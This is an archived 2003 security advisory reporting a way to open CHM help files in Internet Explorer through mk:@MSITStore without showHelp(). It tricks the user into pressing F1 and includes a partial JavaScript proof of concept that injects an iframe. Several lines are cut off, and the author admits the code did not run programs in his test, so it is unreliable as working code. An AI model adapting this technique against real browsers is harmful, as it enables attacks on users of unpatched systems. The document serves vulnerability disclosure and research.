TUCoPS :: Browsers :: bt983.txt

IE: CHM Attacks are still alive (CHM attack without showHelp())

                              !! R/\/\an#0001 !!


CHM Attacks are still alive


Title:    CHM Attacks are still alive

Date:     Tuesday, September 02, 2003

Software: IE (What a nice program!!!)

Vendor:   Microsoft Corp. (I love Microsoft)

Patch:    N/A

Author:   Arman Nayyeri, arman-n@Phreaker.net

Vendor Status:


Microsoft was not contacted, because I don't know email address of 




After releasing MS03-004 patch, it is still possible to execute a chm file 

without using of showHelp() command.

We can use mk:@MSITStore to execute CHM files, but with some tricks.

1.first we must have an help window opened in order to chm file to work 


2.We must open a window (or an iframe) that points to 


The first one is hard but easy with the help of the user.

We can say to user to press F1 key then by using a onkeydown event go to 

step 2.

As easy as this!!!!!

The microsoft patch just stop showHelp() functionality but it is still 


If you use a url for chm file ,it will open and show the content of file 

but do not execute programs without generating any errors. (I test it on 

one chm file ,you can try more, maybe its worked!)

But in the case of sandblad #11 ,I can't produce it without showHelp(), 

and I need the help of Andreas.

Andreas!, I believe that it will work, so try it!!.



As you can see, here is the simple javascript code that I write to exploit 


you must:

1.make a chm file and save it as c:\msit.chm (download free tool for 

making a chm file from http://go.microsoft.com/fwlink/?LinkId=14188 )

2.remove all ! from script

3.create a html file and copy the code into that

4.open the html page and press F1 key (at the top left corner of your 


(you may need to increase Timeout to allow the IE help to be opened)

-------------------------------BEGINING OF FILE---------------------------

<!h2>You should press "F1" key (at the top left corner of your keyboard)



function gotKey(){

if (event.keyCode==112){


        function () {

	   document.write('<iframe id=I1 

src="mk:@MSITStore:c:\\msit.chm::/page.html"></'+'iframe><br><h3>I Love 







document.onkeydown = gotKey;


---------------------------------END OF FILE------------------------------



Arman Nayyeri is not responsible for the misuse of the information 

provided in this advisory. The opinions expressed are my own and not of 

any company. In no event shall the author be liable for any damages 

whatsoever arising out of or in connection with the use or spread of this 

advisory. Any use of the information is at the user's own risk.

Please Contact Me:




Arman Nayyeri 

	MCP, MCSE 2000(in next two weeks)


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